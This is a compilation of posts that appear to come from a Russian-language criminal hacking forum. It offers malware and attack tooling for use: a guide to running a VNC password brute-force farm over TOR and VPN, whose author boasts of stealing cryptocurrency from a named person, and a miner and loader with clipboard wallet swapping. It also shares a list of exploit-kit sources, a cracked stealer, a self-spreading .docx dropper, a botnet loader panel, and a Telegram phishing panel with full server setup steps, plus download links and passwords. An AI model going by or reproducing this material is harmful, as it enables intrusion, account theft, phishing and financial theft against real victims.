Внимательный читатель немедленно спросит - «а причем тут вообще ICMP, если ты проверяешь связь через попытку подключиться, а не отправляя пинги?» и я ему тут же отвечу. Дело в том, что когда TOR уже отвалился, а VPN еще нет — пинг выдает ошибки типа «заданная сеть недоступна» и «общий сбой». При этом функция connect() может висеть очень долго, а таски при этом отрабатывают мгновенно — сети ведь и правда нет. Поэтому поток PingThread() висит и ждет, пока функция IcmpSendEcho2() не вернет ERROR_NETWORK_UNREACHABLE или IP_GENERAL_FAILURE — как только это случится работа приостанавливается. Если включен режим connection_check: reconnect: enabled — не дожидаясь таймаутов переподключает VPN, если нет — просто ждет, пока все переподключится само, приостановив работу.

Параметр «list» для «воркера» задает полный путь до базы данных с паролями. Изначально это был просто текстовик, но sqlite работает с большими объемами данных весьма эффективно и не жрет память, храня все в ней.
Параметр «retry_count» для «чекера» задает количество попыток переподключиться.

VPN
В качестве примера используется публичный VPN от «VPN Gate», в случае использования своего VPN – просто создайте соединение в программе и экспортируйте соединение, заменив им нужный файл. Итак, идем на сайт vpngate.net (заблокирован в РФ) и ищем свежий адрес. Сам я использую адреса из подсети 219.100.37.* — их много и они надежны. Можно выбирать по рейтингу, но мне больше нравится по ширине канала. Итак, адрес выбран — открываем файл, скажем, shared\utils\init\01_05.vpn, и меняем значение параметра «string Hostname» на свой адрес.

Забыл упомянуть. В указанном выше конфиге уже прописан адрес TOR-прокси, на это тоже стоит обратить внимание. Если будете заменять на свой не-паблик VPN - можно заменить только адрес, логин и пароль оставив файл в качестве шаблона.

TOR
Здесь все совсем просто. В моей стране TOR блокируется, поэтому ему необходимы мосты. Также необходима возможность их быстро и беспроблемно менять (это еще одна причина, почему отошел от Whonix Gateway). Итак, идем в shared\utils\init\bridges.txt и вписываем актуальные мосты. Совершенно не важно как вы их получите — telegram, email, сайт torproject или tor_relay_scanner, главное указать тип моста. Если мосты вам не нужны — просто укажите UseBridges 0 или вовсе удалите строчку с импортом данного файла из torcc.

Приступаем к работе
Итак, когда все настроено — предлагаю начать. Запускаем файл vbox_restart.bat, открываем в mRemoteNG соединение с «tor» и ждем пока он прогрузится и на 100% подключится к сети. Время от времени автозагрузка не срабатывает (скорее всего не может прочесть файл bridges.txt и нужно запустить тор руками — именно для этого в скрипте задержка). Когда TOR запущен — жмем в скрипте enter и ждем, пока загрузятся остальные ОС. Подключаемся к «manager» и запускаем его. Работа с программами элементарна и (надеюсь) интуитивно понятна. Про «воркер» и «чекер» рассказывать особо нечего, выглядят они примерно так и практически никаких настроек у них нет.


Единственное, что здесь можно настроить — режим «поверх всех окон» (включается в системном меню) и положение окна (вплоть до свернутого в трей).

С «менеджером» дело обстоят поинтереснее.
Перемещаться по вкладкам можно как с помощью мыши так и хот-кеями: ctrl+tab – следующая вкладка, ctrl+1-4 – перейти на вкладку от 1 до 4.

При нажатии правой кнопкой мыши на корневом элементе контекстное меню с возможностью отобразить/скрыть оффлайн и остановить/запустить «работяг».

Нажатие ctrl+a также включает или отключает режим «Отображать все».

Для очистки результатов можно выбрать запись и нажать del. Или же можно нажать del без выделения и тогда удалятся все записи.



И «Воркерам» и «Чекерам» можно задавать имена, достаточно просто нажать второй раз по уже выбранному элементу и ввести имя (в моем случае – имя VM).

В данной вкладке работают те же правила, что и на вкладке «Workers» – удалять можно клавишей del.

Пройдемся по панели инструментов вкладки «Results». Первая кнопка отвечает за добавление свежего адреса в список на брут (если такого адреса еще нет, конечно). Если адрес уже сбручен, но нас спалили и поменяли пароль — нам предложат начать с того места, где был найден первый пароль. Зачем это надо? Бывает так, что до хоста не дозвониться по несколько дней и когда он появляется в сети выясняется, что пароль — только на просмотр, поэтому логично продолжить искать с того места, где остановились в прошлый раз. Следующие две кнопки помечают хост как «интересный» и как «заблокированный» (довольно частое явление, когда на экране не кошелек с криптой, а логон-скрин). Четвертая кнопка просто удаяет элемент из списка, пятая продолжает сканирование (если доступ — только на просмотр), шестая добавляет в список фильтрации (см. ниже), последняя — просто очищает весь лог.

Для очистки лога достаточно нажать ctrl+x либо вызвав контекстное меню и нажав «Сlear».

Как вы можете видеть, у всех «рабочих процессов» есть значки со статусами из ICQ. Зелененький — в работе, красненький — оффлайн, зелененький с красным крестиком — отвалился интернет, зелененький с листочком — нет заданий (возможно, так же нет сети — просто еще не успел по таймауту перезапустить соединение, либо только появился интернет/пришел онлайн).

Работает все это добро по принципу «карусели»: идем по кругу, как только дошли до конца - «воркеры» сортируются по времени последнего обращения (старики — вперед), «чекеры» же просто гуляют по кругу. Если в процессе работы «чекер» нашел новый адрес — он сразу отдается «воркеру». Если в процессе работы чекеру подкинули файлов .masscan – их содержимое первое будет скормлено «чекерам».
Чуть не забыл, когда «чекеры» проверяют свежие пары ip:port — возле процентов будет стоять звездочка (*). Это нужно лишь для того, чтобы дождаться завершения сканирования свежих адресов и не выключать программу раньше завершения, чтобы лишний раз не пересортировывать базу «чекера». Также стоит отметить, что есть некая инерция — звездочка пропадает сразу, как достигнута граница базы, но кэш по прежнему в процессе сканирования, так что как минимум 20000 записей (в моем случае) еще предстоит проверить.

Когда находится очередной не-отфильтрованный десктоп на вкладке «Results» открывается доступ к кнопке «Ignore desktop», про нее стоит рассказать подробнее.

Вообще, настройка фильтров - вопрос интимный и каждый сам составляет свои правила. То, что не нужно мне — нужно кому-то еще, иначе зачем это в таких количествах Расскажу про встроенные фильтры и общие правила составления фильтров.

{hex} — отсеивает срань вроде
2499F83, 24CAA81, 2E48843, 2F66A01, 30E5C81, 35CCAC1, 3630B01, 3693941, 3838F02, 3905901, 3A78802, 3ABFB41, 3C3DB81, 4046F41, 40B6841, 4238C43, 4629C81, 462A981, 4683B81, 4860D41, 490ED41, 4C97C03, 4CC68C1, 4F2A881, 500294, 500431, 50BDF81 и тысяч других. За этими прекрасными названиями скрывается HMI, который лично мне не нужен.
{ip} — IP адрес, как правило 192.168.., реже — адрес самого сервера или другие диапазоны локальных сетей. Стандартными вбюверами увидеть что скрывается за этими адресами увидеть не получается, по тому — просто скипаю.
{lettercase} — десктопы вида «44.107 ThanhNienMusic», т.е. с разным регистром в написании. Стандартные VNC-сервера под Windows используют либо только прописные буквы, либо только строчные. Иначе это либо *nix (mac?), либо HMI – я скипаю.
Меня интересуют только windows-машины, поэтому я использую также маски /, :, # и @.

Spoiler

Кстати, после истории с папкой «Пенсия» и кодовыми словами к кошельку с кучей крипты на нем (полученные в виде взятки) в этой папке на макбуке у одного представителя правопорядка — невольно задумываешься и не-виндовые машины прощупывать.

Хосты с пустым десктопом игнорируются по умолчанию.
Более интересный пример. Есть целая грядка машин, которые мне не интересны, в частности

Spoiler

user-wks2 ( 192.168.10.12 ) - service mode
order-wks1 ( 192.168.10.12 ) - service mode
user-wks2 ( 192.168.10.12 ) - service mode
user-wks1 ( 192.168.10.11 ) - service mode

фильтр для так машин может выглядеть так: «-wks? ( * )»
Я редко встречаю машины с одним именем, как правило это какой-то шаблон. Но есть также и забавное исключение: десктоп «lenovo-pc». Это очень странный ПК без пароля, который висит на примерно 10 адресах и рандомных портах (каждый день появляются новые записи — на данный момент их больше тысячи) Вот неполный список:

Spoiler

118.40.40.109:11111 lenovo-pc
118.40.40.123:100 lenovo-pc
118.40.40.168:10 lenovo-pc
118.40.40.192:10250 lenovo-pc
183.105.12.119:123 lenovo-pc
183.105.12.177:5954 lenovo-pc
183.105.12.185:28015 lenovo-pc
183.105.12.202:1994 lenovo-pc
218.149.81.38:4433 lenovo-pc

что это, зачем и кому нужно — непонятно.
В любом случае стоит просматривать список «good_ignored» на предмет интересных находок.
Не раз натыкался на мнение, что «псевдо-серверы с пустыми паролями не нужны» и даже опции игнора пустых паролей в брутерах видел. Скажу вам по своему опыту длиною в 6 лет — попадаются очень интересные экземпляры. Регулярно вижу, что хост с пустым паролем и индексом в несколько сотен тысяч доступен без пароля — т.е. я его условно месяц перебирал, а он или переустанавливал что-то или настройки сбросил и стал доступен без пароля. Т.е. я вижу в реестре или конфиге, что пароль есть (и он не словарный), но функция авторизации отключена по какой-то причине.

Spoiler

Более того, не далее чем в декабре 2022го у гражданина Anthony «Ant» Renicks (cornucopias) мною было утянуто несколько битков и NFT еще на столько же в ADA, как раз из за доступа без пароля. Да, это скорее исключение, но игнорировать хосты с пустыми паролями — глупо, гораздо эффективнее — фильтровать по имени десктопа.

Помимо «официального» метода добавления масок фильтрации есть и альтернативный — руками в таблицу. Сам я для этого использую «DB Browser for SQLite». Просто в базе worker.db в таблицу «ignore» добавляем новую маску/редактируем старую. Крайне не рекомендую лезть руками в «работающую» базу, лучше сначала завершить работу «менеджера», если вдруг почему-то такая необходимость возникла. Когда изменения внесены — на помощь нам приходит меню «DB Maintance» и подменю «Worker». Здесь мы можем, например, в разделе «Rebuild» пересортировать по алфавиту список фильтров («Rebuild Ignore masks»), а также другие таблицы. На самом деле в этом (помимо сортировки по алфавиту, лично мне так нагляднее) мало смысла: «менеджер» при завершении работы сам пересоберет все таблицы, если было внесено достаточное количество изменений (в коде зафиксировано значение 1000, т.е. 1000+ добавлений/удалений). А вот пункт меню «Rescan ignored list» в этом случае нам очень пригодится — он по-новой пройдется по списку «good» и применит свежие правила фильтрации, если будут найдены свежие отфильтрованные — они будут перемещены в таблицу «good_ignored» и обе таблицы будут пересобраны и база сжата.

Скажу пару слов про перезагрузку фермы. Очень важно завершать корректно «менеджер», т.к. он работает с базами данных и может что-то поломать. Если «менеджер» по каким-то причинам отвалился - «воркеры» продолжат гонять по кругу свои задания, а когда он всеже вернется — отдадут результаты (индексы паролей или список сбрученных машин). Если такое вдруг произошло — вероятно в лог посыплется куча сообщений, что адрес никому не присвоен — лучше на время отключить «Error log». Если необходимо перезапустить систему (например, отвалились VPN а запускать в ручную скрипт vpn.cmd на всех машинах — лень), «менеджер» закрывать не обязательно — можно просто поставить на паузу (кнопка «Stop» в контекстном меню корневого элемента на вкладках «Workers» и «Checkers»), дождаться остановки и запустить скрипт vbox_restart.bat. Только заметил, что где-то bat, а где-то – cmd. Но переделывать я, конечно же, ничего не буду

masscan
Подводя итоги расскажу немного про добычу доступов. Сам я пользуюсь массканом, установленном на взломанных машинах. У него есть один существенный недостаток — он слишком не регулярно сохраняет логи. Т.е. при внезапной остановке он просто не запоминает текущаю позицию (проработав пару недель). Чтобы этого избежать — необходимо немного модернизировать исходник и пересобрать masscan. К сожалению, по условиям конкурса, код с гитхаба я выкладывать не могу, по сему лишь расскажу чего я подправил. В файле main.c в функции main_scan в блоке объявления переменных между uint64_t range; и unsigned index; вставляем uint32_t updates; чтобы получилось так:

C:Copy to clipboard

    uint64_t range;
    uint32_t updates;
    unsigned index;

далее перед while (!is_tx_done && masscan->output.is_status_updates) { вставляем updates = 0;

C:Copy to clipboard

    updates = 0;
    while (!is_tx_done && masscan->output.is_status_updates) {

ну и наконец меняем

C:Copy to clipboard

        if (masscan->output.is_status_updates)
            status_print(&status, min_index, range, rate,
                total_tcbs, total_synacks, total_syns,
                0, masscan->output.is_status_ndjson);

на

C:Copy to clipboard

        if (masscan->output.is_status_updates) {
            status_print(&status, min_index, range, rate,
                total_tcbs, total_synacks, total_syns,
                0, masscan->output.is_status_ndjson);
            updates++;

            if (updates == 61) {
                masscan->resume.index = min_index;
                masscan_save_state(masscan);
                updates = 0;
            }
        }

Все. Теперь будет сохранять состояние каждую минуту. Как вариант — можно взять собранный masscan из архива.

Отвлеклись. Масскан обязательно должен сохранять логи в режиме -oB, т.е. в формате binary! Когда лог масскана готов — кладем его в папку ms\done и запускаем скрипт read.bat. Далее, когда скрипт закончит работу, содержимое папки ms\masscan переносим в папку shared\masscan и ждем, пока файлы не исчезнут. Эти файлы читаются с конца и при завершении работы «обрезаются» до того места, где находится еще не прочитанный кусок. Если расширение файла поменялось на malformed – файл имеет неверную длину и, вероятно, неверный формат.
Для начинающих, у кого совсем нет адресов для брута, оптимальным будет следующий алгоритм действий. Берем любую интересную страну/город и сканируем ее на порты, скажем, 5900-5910. Далее результат скармливаем «чекерам». Когда весь указанный диапазон просканирован — открываем с помощью «DB Browser for SQLite» файл ms\total_db\total.sqbpro (предварительно заменив в нем мой путь X:\shared\worker.db на свой любым текстовым редактором) и, если это первый запуск, на вкладке «SQL» сразу переходим к третьему пункту, «3. total1 rebuld»

• этот запрос выберет все ip, у которых есть VNC. Выгружаем таблицу «total» и сканируем с помощью masscan уже на все порты (-p1-65535), резутаты также скармливая «чекеру». После сканирования новых стран/городов начинаем начинаем с первой вкладки, «1. total2 rebuild» и выполняем все три запроса, только на этот раз экспортируем таблицу «total3», в которой будут лишь те адреса, что недавно появились — их также отправляем на сканирование всех портов.

За сим — все. Если вам, дорогие читатели, тема с VNC зайдет — запилю еще один тред с набором утилит для пост-эксплуатации.
Чмоки-чмоки

архив с бинарниками не залился, слишком большой. положил тут: https://www.sendspace.com/file/rqtsq7 (пароль - xss.is)
Зеркала:
https://send.exploit.in/download/6f8493859743a471/#FLmt1g_GQGFHPTFOLhg9VQ
https://www.upload.ee/files/16129436/bin.zip.html
https://file.io/6FovY2sNHq3S

Заливаем панель на хостинг или сервер, на бесплатном хостинге поймал бан за загрузку серых скриптов, так что думаю лучше уже ставить на серверах AWS, Cloud Platform, Azure
Создаем новую базу, пользователя, импортируем таблицы
Прописываем конфиг по пути app/config.php
Важно в поле password конвертируем пароль в md5 от админки

В settings с настройками майнера так и не разобрался, самое забавное, что после заражения спустя неведомое время на робочем столе целевого устройства выскакивает уведомление о наличие "supreme miner ++"
Билдер естественно у себя не запускаем, вы уже тут сами скажете есть там что то или нету, кому интересно

Спасибо что заглянули в тему

You must have at least 5 message(s) to view the content.

Сборка различных ExploitPack'ов. Разных годов и актуальности. Есть все еще вполне юзабильные варианты исходников

0x88
8MS08-067- Exploit
25 exploit kit
Adpack Exploit Pack 2.0.0
Apanda pack
Armitage Exploit Pack 1.0.0
Aurora Chinese Exploit
blackhole
Bleeding Life v2
bomba
Chinese Exploit JS
chinese Exploit
CRIMEPACK 2.0
CRIMEPACK 3.0
Cry Exploit Pack 2.7.2
cry217
Cute
czb_1.1.1-7a
DLoader
eventi pack
Exploit Automatized
Exploit chinese + WeB
Exploit Kit Chinese
Fake Game 1
Fake Game 2
Fake Game 3
fiesta
firepack
Fragus BlacK
Generator Exploits
Gong Da Pack
Gpack Exploit Pack 0.1.2
ice pack 3
Ice_pack_Platinum_Edition2_009_IDT_Group_and_Black Sun
IcePack-Platinum09-1x33x7-EN
IE exploit Kit
IE Exploit Pack chinese
IE Generador [Aurora]
impassioned 20 FrameShit
in
Infector Exploit Pack 0.1.1
intoxicated
jiji Exploit
K0de Sploit Pack
KaiXin Exploit Pack
Kein Exploit Pack
Le_fiesta_1_8
Life
Limbo Troyan Kit
LinuQ Sploit Pack
luckysploit
Luiz Eleonore Exp 1.2
MassInfect
Merry Christmas Pack
mpack
multisploit
my-poly-sploit
n404
Napoleon Sploit 1.0
Neon Exploit sistem
neosploit-2
Nuke spl0its p4ck
Open Source Exploit Pack
packs
pex_2.5
Phoenix
phoenix2.4
phoenix23
Prime Exploit System v.1.2
rds
Red Exploit Pack 2.0.0
SALO
Seo Sploit Pack
shaman
Siberia Exploit Pack
Smart Exploit Pack 2.0.0
sPack [Light Edition]
Spider Pack
sv14 Exploit Pack
Target Exploit Pack 0.16
tongji
Tornado Exploit Kit
ttedu Pack
Unique Pack
webattacker
wow Pack
X-Pack [Home Made]
X-Pack Exploit
Yang Pack
yes_exploit_system
yes2.0
Zero Exploit pack
Zombie Infeccion Kit
zoPack_v1.2
Chinese Exploit

You must have at least 5 message(s) to view the content.

Майнер:

• Не требует админ прав
• Зависим от .Net
• Гибкий в настройке билдер
• Автозагрузка через планировщик
• Отстук на IPLogger
• Лоадер (скачает и запустит скрыто ваш exe)
• Майнит на GPU и CPU
• Если в ПК стоит 2 разных видео карты AMD и Nvidia будет майнить на всех, если стоит 2Nvidia или 2AMD так же майнит на всех. (Да я тестировал и все проверял)
• Определяет разрядность системы и качает нужные xmrig под систему
• Вырубает показ скрытых файлов
• Выставляет всем файлам майнера и тела атрибуты системных файлов
• Если майнер установился на пк жертвы он более не зависим от хоста. Майнит и отправляет все в пул.
• Вес тела майнера всего 11кб
• Заточен под nanopool, алгоритм --algo cn/r

Аргумент _запуска майнинга такой:

-o stratum+tcp://xmr-asia1.nanopool.org:14444 --algo cn/r -u wallet.workername/workermail --donate-level=1

Click to expand...

_

после workermail через пробел можете добавить свои аргументы если надо.

Click to expand...

Подмена кошельков в буфере:
XMR
BTC
ETH

В архиве так же добавил доп. файлы dll и xmrig все с гитхаба, можете скачать свои тут https://github.com/xmrig/xmrig
Надо криптовать все или хотя бы накрыть протектором.

You must have at least 1 reaction(s) to view the content.

Софт от автора стиллера Echelon v5, является форком StormKitty.Продается на канале автора за 100$ и накрывается "приватным" "уникальным" обфускатором, который я снял за 2 минуты...)

Скачать: https://anonfiles.com/j7f3X8x2pc/MadCrack_zip

Пароль на архив: 666
**Скачать:https://mega.nz/#!ppphWaYR!Aqls514fkiUsdMs5vfHyq_5AN9-tv5kCv3yYcnA8ZAk**​

Софт эксплуатирует ваш exe в формат .docx который легко можно отправить по почте, сам файл дока не палится не одним АВ если ваш exe то же чистый.

Функционал:

• Лоадер (скачивает и запускает доп exe по прямой ссылки, не используйте http s/ssl)
• Заражает все файлы внутри RAR и ZIP
• Заражает все .docx (уже обычным макросом, не таскать же нам приватный эксплойт за собой)
• Копирует себя по дискам и лен сетям
• Отправляет себя по всем контактам в скайпе
• Сокс прокси бот с отправкой IP на почту

Все файлы должны быть в одной папке с билдером при создании docx файла

​

Elite Loader ​

Смерть барыгам, всем на шару

Админка:
[ + ] Удобный и юзабильный ajax интерфейс. Админки на этом фреймворке уже давно стали нашей визитной карточкой.
[ + ] Создание неограниченного числа заданий.
[ + ] Установка правил стран разрешённых/запрещённых для загрузок в виде удобных списков, либо загрузка всех стран.
[ + ] Выбор файла для загрузки как локального, так и по url.
[ + ] Установка рефера для загрузки с удалённого хоста.
[ + ] Установка лимитов загрузок для задания.
[ + ] Удобный список заданий, редактирование, удаление, изменения статуса активное/не активное. Поиск по названию или по имени файла/url.
[ + ] Список ботов отображает данные: id, версию, страну, ip, время первого захода, время последнего захода. Поиск по id, ip или стране.
[ + ] Дополнительная кнопка в списке ботов, отображает список выполненных заданий каждым ботом, по их именам.
[ + ] Статистика. График отображает активность ботов по дням и часам, какое количество приходится онлайн. Вторая вкладка показывает общую статистику ботнета.
[ + ] Верхняя панель кнопок позволяет очищать историю заданий по ботам, что бы не перегружать базу, а так же полный сброс удаление всех ботов и заданий.
[ + ] Обновление билда лаодера, имеет 2 свойства. 1) Версия самого билда задаётся вручную для отслеживания в списке ботов разных версий. 2) Дата обновления билда, служит для обновления криптовки и поддерживает всех ботов последней версией. Так же версию билда можно всегда посмотреть, что бы не перепутать.
Скрины:

Бот:
[ + ] Написан на чистом WinAPI C++/Asm.
[ + ] Размер билда: 11кб
[ + ] Шифрование данных между админкой и ботом динамическим ключём.
[ + ] Разные имена файлов в системе.
[ + ] Резидентен в системе.
[ + ] Работа в windows: xp sp1/2/3, vista
[ + ] Кодирование и разбивка по частям url в билде.
[ + ] Обход firewall: стандартный windows, outpost, McAffee через их уязвимости. (Обходы принадлежат http://fbi.cih.ms)
[ + ] Одновременное выполнение большого количества заданий.
[ + ] Запуск как самого бота, так и загружаемый софт сразу после загрузки.

Скачать: http://www.sendspace.com/file/nybwsr
Оригинальный билдер внутри!

Автор: Interpol
Источник: XSS
Скрипт: Telegram Phoenix

В этой статье я поделюсь с вами Telegram Phishing панелью который я монетизировал до этого момента и в каком-то смысле убиваю его для себя как источник заработка и приватный скрипт как и для единиц конкурентов со своими панелями которые неплохо на этом зарабатывают. Конечно я буду очень рад призовому месту в конкурсе, но в любом случае надеюсь только на позитивный Feedback с вашей стороны, спасибо!

Для работы фишинга я клонирую web-клиент Telegram чтобы полностью имитировать авторизацию мессенджера и в конечном авторизации похитить необходимые ключи ( auth key ) авторизации из localstorage. Так же клонирование официального репозитория позволяет нам при авторизации высвечивать реальный IP и устройство жертвы, что прибавляет плюс к доверии. Чтобы вы знали, ранее мы создавали приложение чтобы создать сессию с использованием наших APP_ID / HASH_ID и при авторизации показывались данные нашего приложения и IP сервера, это было неэффективно поскольку Telegram начал сильно бороться с фишингом и очень усложнил его работу, аккаунты банились и сессии отключались автоматически следуя по новым алгоритмам защиты от мессенджера.

Вам будет необходимо иметь как минимум 2 домена, первый для отправки данных клиенту и второй для отображения вашей собственной фишинг-страницы. В моей панели можно развернуть целую команду или запустить собственную продажу подписок на панель, у каждого пользователя будет свой небольшой личный кабинет в боте Telegram в котором у него будут доступны все необходимые функции для работы с фишингом, естественно у каждого должен быть свой домен.

Spoiler: Пользовательский интерфейс

Spoiler: Меню администратора

Spoiler: Phishing интерфейс

Это Web-интерфейс но так же есть возможность использовать WebApp в боте, таким образом ваш домен не будет виден пользователю. Делается это несколькими строчками кода и ничего больше, если будет необходимость прикреплю небольшой скрипт.

Процесс работы с доменами происходит так: Владелец панели создает аккаунт на Cloudflare и уже с помощью проксирования на свой сервер добавляет домены, таким образом мы сразу можем включить SSL-защиту и так же немного спрячем реальный IP-адрес нашего сервера, для каждого нового пользователя в нашей панели мы добавляем таким образом домен и далее пользователь может добавить его в своем личном кабинете, он будет проксировать на наш сервер и передавать логи идентифицируя пользователя по его домену.

Spoiler: Разбираемся с Cloudflare

Далее следуем инструкциям от Cloudflare и направляем наш домен к указанным NS- серверам.
На последнем этапе вы сможете включить SSL-защиту.

После этой манипуляции пользователь может добавить домен в своем личном кабинете и он будет проксировать.

Относительно важный момент насчет доменов, добавлена необходимость установки ключа чтобы веб-краулеры не зафиксировали сразу наш фейковый домен и не заблокировал домен, иначе почти моментально можно получить красную табличку небезопасности сайта. Чтобы избежать такого момента мы просто устанавливаем в личном кабинете ключ с любым словом, у меня он будет к примеру "connect", наш сайт будет доступен по адресу: https://domain.com/connect
После того как добавите домен прожмите еще раз /start в боте чтобы появилась возможность добавить ключ. ( Конечно вы можете поставить клоаку если желаете, но это на ваше усмотрение )

Моя панель имеет множество полезного функционала для работы с похищенными аккаунтами. В частности поговорим про конвертацию, изначально мы получаем ключи авторизации но мы можем конвертировать их в сессию Telethon которая может быть использована в различных софтах для автоматизации, а так же возможность конвертировать в тип tdata - который позволяет нам войти в аккаунт.

Как войти в аккаунт? Очень просто, для начала конвертируем наш полученный ключ в формат tdata.
Для входа нам понадобится портативная версия Telegram Desktop, если отсутствует скачиваем его из официального сайта.
После разорхивации у вас появится папка с содержанием: modules и telegram.exe , после первичного открытия приложения должна появится папка tdata в той же директории. Все что нам нужно это просто скопировать наши файлы в папку tdata, после этого снова открываем Telegram и мы в аккаунте!

Шаблоны: Небольшая оболочка перед авторизацией, в архиве уже имеются несколько шаблонов которые доступны для использования, но вы так же можете их подкорректировать под себя изменив html-разметку.

Spoiler: Примеры существующих шаблонов

View attachment 78052

Дамп: Позволяет нам экспортировать медиа-данные пользователя, такие как фото и видео материалы, если у вас имеются минимальные знания в python - вы сможете отредактировать метод дампа в коде.
Мы так же можем выгрузить свои логи за определенный период времени.
Статистика говорит сама за себя, в этом разделе мы можем увидеть активность пользователей и их количество логов.

Если вы решите разобрать код сможете заметить функции или логику которая не используется, это нормально. В ходе обновлений некоторые функции были урезаны, обновлены, изменены и так далее, к примеру авто-SSL, спам бот и всякого рода неиспользуемого кода. Если вы решите внести свои корректировки у вас в распоряжении много примеров.

Перейдем к установке скрипта на сервер Ubuntu , в качестве web-сервера я выбрал NGINX, перед установкой у нас должны быть готовы 2 домены в Cloudflare и соответственно сервер на базе Ubuntu
FTP Инструменты которые я могу посоветовать: WinSCP + PuTTY

Spoiler: Установка

1. Подключаемся к серверу с помощью SSH и в консоли сразу устанавливаем зависимости, нам понадобится node для работы клиента и python для бота:

Устанавливаем nginx, не забываем перед этим обновить apt (sudo apt update):
- sudo apt install nginx
Настройка UFW (Firewall):
Убедимся в том, что UFW установлен командой ufw. Если его нет, то установим:
- sudo apt install ufw

Разрешаем порты 80, 443, 22/21 для работы nginx, ssh:
- ufw allow "Nginx Full"
- ufw allow "OpenSSH"

После разрешения портов, можем включить UFW:
- ufw enable

Устанавливаем node.js от 18 версии:
- curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
- sudo apt-get install nodejs

Устанавливаем Python 3.10:
- sudo apt install python3.10
- sudo apt install python3-pip
- sudo apt install python3-venv

Дополнительный зависимости:
- sudo apt install build-essential zlib1g-dev libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev wget libbz2-dev

Теперь можем загрузить файлы на сервер.
Бота на python можем загрузить в основную директорию /root/,
в /root/main.py и /root/bot/.env ставим токен от основного бота который будет использоваться как панель и ID аккаунта который используется как админ, остальное необязательно.

TWeb перемещаем в категорию nginx: /var/www/
Сразу ставим свой домен для проксирования данных в /var/www/tweb/src/index.ts на 85 линии.
( P.S Если при билде файл не поменялся и остался закэшированный - поменяйте домен в index-...js из папки public и dist. Не обновленный домен вы сможете заметить в код элемента - src - index или если при авторизации на сайте зависнет все после последнего этапа. )

2. Telegram Web уже есть в архиве, его страница на github: https://github.com/morethanwords/tweb.git

Устанавливаем его зависимости в директории tweb командой:
- npm install -g pnpm
- pnpm install
В консоли появится ошибка forEach, это баг модуля и для его устранения в архиве есть файл который нужно расположить в /var/www/tweb/node_modules/vite/dist/node/chunks

Делаем билд командой: npm run build ( заранее установите зависимость pnpm , вас об этом попросят )
Так же к вашему вниманию при каждом запуске скрипта делается билд, к слову.

3. Устанавливаем бота для отстука:
Устанавливаем зависимости в /bot: pip install -r requirements.txt
- pip install fastapi telebot aiohttp_socks
- pip install "uvicorn[standard]"

4. Создаем службы для фоновой работы скрипта:

1. Обязательно создать папку logs в root для логирования запущенных сервисов
2. В архиве будет три сервиса bot.service , tweb.service , main.service
3. Необходимо закинуть все сервисы в директорию /etc/systemd/system
   Служба - это конфигурационный файл который запустит наши скрипты, он будет поддерживать постоянную фоновую работу.
   5. Настройка nginx:
4. В архиве (conf.d) будет конфигурационные файлы nginx.
5. В директорию /etc/nginx/conf.d перемещаем два файла: tweb.conf и work.conf
6. в server_name вводите ваш домен, два разных домена в два файла ( домена должны быть направлены на ваш сервер через A-запись по IP, используйте cloudflare )

домен в work.conf и в index.js из tweb должны совпадать, потому что он служит для проксирования данных

5. Перезагружаем nginx чтобы обновления вступили в силу:
   - systemctl reload nginx
   6. Запуск:

6. Обновим все службы командой:
   - systemctl daemon-reload

7. Теперь включаем все службы:
   - systemctl enable bot.service
   - systemctl enable tweb.service
   - systemctl enable main.service

8. В завершении запустим все службы:
   - systemctl start [Название, пр: bot.service] - Используйте для запуска
   - systemctl restart [Название] - Для перезапуска
   - systemctl status [Название] - Для просмотра статус
   - systemctl stop [Название] - Для остановки

9. Ждем ~1.5 минуты: это время требуетя на создание билда Telegram Web.
   Если никаких ошибок не возникло и страницы работают - значит все сделано правильно.

Проект: https://krakenfiles.com/view/5UYWYSJ1i4/file.html
или - https://pixeldrain.com/u/cPBCJDfW
Пароль от архива: xss.is

Авторство: hackeryaroslav​

Источник: xss.is​

Автоматизированный Веб-Сканер v1.0 (планирую добавлять новые идеи и доработки, буду оказывать активную поддержку, так что следите за обновлениями!). Сканер представляет собой средство обнаружения уязвимостей в веб-приложениях.

​

Основные особенности:

1. Проект включает в себя интеграцию с ИИ, что позволяет автоматизировать анализ отчетов (проект собирает все репорты и отдает ИИ на анализ), предоставляя ценные рекомендации и советы по устранению обнаруженных уязвимостей.
2. В составе сканера представлены популярные инструменты для тестирования на проникновение, такие как Nmap, Nikto, Sqlmap и другие. Это обеспечивает полный охват при проверке безопасности вашего веб-приложения. Можно добавит свои инструменты в код и поменять существующие аргументы там же.
3. Вы можете настроить профиль ИИ в соответствии с вашим стилем и потребностями: от дружелюбного наставника до киберспецагента или хакера-гуру. И также дать свой промпт для стиля и фидбека от ИИ.
4. Возможность отключения или добавления собственных инструментов (скоро), выбор режима агрессивного сканирования, а также создание кастомных инструментов для адаптации под вашу среду (пока на тесте)
5. Поддержка прокси

Как использовать:

• Базовый запуск:

Code:Copy to clipboard

    python ai.py http://example.com

• Агрессивный режим:

Code:Copy to clipboard

    python ai.py http://example.com -a

• Отключение определенного инструмента (например, nikto (на тесте)):

Code:Copy to clipboard

    python ai.py "http://example.com" -d nikto

• Интеграция с ИИ:

Code:Copy to clipboard

    python ai.py http://example.com -ai

• Запуск с пользовательским промптом:

Code:Copy to clipboard

    python ai.py http://example.com -p "Ваш пользовательский промпт"

• Добавление собственного инструмента (пока не работает):

Code:Copy to clipboard

    python ai.py "http://example.com" -c

• Совмещенный режим анализа и ИИ:

Code:Copy to clipboard

    python ai.py http://example.com -ai -pr hacker

• Запуск с профилем ИИ и агрессивным режимом:

Code:Copy to clipboard

    python ai.py http://example.com -ai -pr paranoid -a

Преимущества:

• Автоматизация процесса тестирования на проникновение.
• Интеллектуальный анализ отчетов и рекомендации по устранению уязвимостей.
• Гибкие настройки и возможность адаптации под конкретные потребности.

В коде для анализа отчетов я использовал Llama модель, опен сорсная, можно взглянуть характеристики тут https://github.com/facebookresearch/llama/blob/main/MODEL_CARD.md

Парочку скринов работы проекта

****​

Результаты фидбека Llama paranoid, таргет не уязвим, но оно дает советы куда дальше копать:

Можно самостоятельно посмотреть результаты каждой тулы в txt файлах:

​

Если скан проведен без ИИ, то прога попытается отыскать уязвимости найденные сканеров и вывести инфу в таблицу:

​

Что нужно?
Апи ключи от LLama для использовании ИИ интеграции, его очень просто получить и будет он работать довольно долго. Для этого заходим сюда: https://www.llama-api.com/account/api-token предварительно войти в аккаунт и скопировать ключ. Бесплатно даются токенов на 5$:

​

